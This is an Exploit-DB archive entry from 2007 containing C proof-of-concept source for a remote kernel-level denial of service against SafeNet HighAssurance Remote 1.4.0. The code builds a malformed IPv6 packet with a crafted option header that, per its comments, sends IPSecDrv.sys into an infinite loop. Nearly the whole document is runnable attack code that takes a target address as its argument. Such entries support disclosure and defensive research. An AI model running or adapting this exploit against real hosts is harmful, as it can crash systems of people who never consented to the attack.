SafeNet High Assurance Remote 1.4.0 - 'IPSecDrv.sys' Remote Denial of Service

EDB-ID:

4047

Author:

mu-b

Type:

dos

Platform:

Windows

Published:

2007-06-08

/* safenet-dos.c
 *
 * SafeNet HighAssurance Remote ~1.4.0 Ring0 DoS (win32)
 * by John Anderson <john@ev6.net>
 *    mu-b <mu-b@digit-labs.org>
 * - Mar 2006 - June 2007
 *
 * - Tested on: SafeNet HighAssurance Remote 1.4.0 (Build 12) (win32)
 *
 * Kernel level (Ring0) DoS in IPv6 support of IPSecDrv.sys
 * (causes an infinite loop in searching option headers 0x1000BEB0).
 *
 * This POC only works on a local subnet since it sends an invalid packet
 * and any sensible router will drop it. However, this is exploitable
 * remotely with IPv6.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <libnet.h>
#include <sys/time.h>

#define IPV4_HDR_LEN  20
#define IPV6_HDR_LEN  40
#define UDP_LEN       16

struct opt
{
  u_char nxt_hdr;
  u_char opt_len;
};

unsigned long int
lookup (char *hostname)
{
  struct hostent *name;
  unsigned long int address;

  if ((address = inet_addr (hostname)) != -1)
    return address;
  if ((name = gethostbyname (hostname)) == NULL)
    return -1;

  memcpy (&address, name->h_addr, name->h_length);
  return (address);
}

int
main (int argc, char **argv)
{
  u_char *buf = NULL;

  /* libnet vars */
  char errbuf[LIBNET_ERRBUF_SIZE];
  libnet_t *lnsock;
  char *device = NULL;

  /* packet vars */
  struct ip *ip_hdr = NULL;
  struct opt *opt_hdr = NULL;
  u_int32_t src_ip = 0, dst_ip = 0;

  printf ("SafeNet HighAssurance Remote ~1.4.0 Ring0 DoS POC\n"
          "by John Anderson <john@ev6.net>\n"
          "   mu-b <mu-b@digit-labs.org>\n\n");

  if (!argv[1])
    {
      printf ("Usage: %s <destination> [source]\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  /* allocate space for packet */
  if ((buf = malloc (IPV6_HDR_LEN + UDP_LEN)) == NULL)
    {
      perror ("malloc: ");
      exit (EXIT_FAILURE);
    }

  /* initialise libnet */
  lnsock = libnet_init (LIBNET_RAW4_ADV, device, errbuf);
  if (lnsock == NULL)
    {
      fprintf (stderr, "libnet_init() failed: %s", errbuf);
      exit (-1);
    }

  if (!argv[2])
    src_ip = lookup ("127.0.0.1");
  else
    src_ip = lookup (argv[2]);

  dst_ip = lookup (argv[1]);

  /* Build the pseudo-IPv4 header */
  memset (buf, 0, sizeof buf);
  ip_hdr = (struct ip *) buf;
  ip_hdr->ip_v = 6;
  ip_hdr->ip_hl = 0;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons (IPV6_HDR_LEN + UDP_LEN);
  ip_hdr->ip_id = htons (0);
  ip_hdr->ip_off = htons (0);
  ip_hdr->ip_ttl = 0;
  ip_hdr->ip_p = 0;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = src_ip;
  ip_hdr->ip_dst.s_addr = dst_ip;

  /* Build option header with poison bytes */
  opt_hdr = (struct opt *) (buf + IPV6_HDR_LEN);
  opt_hdr->nxt_hdr = 0x3C;      /* != 0x3B */
  opt_hdr->opt_len = 0x07;      /* length n such that:-
                                 *(((u_char *)opt_hdr) + n * 2) != 0x3B &&
                                 *(((u_char *)opt_hdr) + n * 2 + 1) == 0x00 &&
                                 n * 2 < IPV6_HDR_LEN + UDP_LEN */
                                /* a value of 0x00 will suffice!@$%! */

  printf ("Attacking %s", argv[1]);
  libnet_write_raw_ipv4 (lnsock, buf, IPV6_HDR_LEN + UDP_LEN);
  printf (".\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2007-06-08]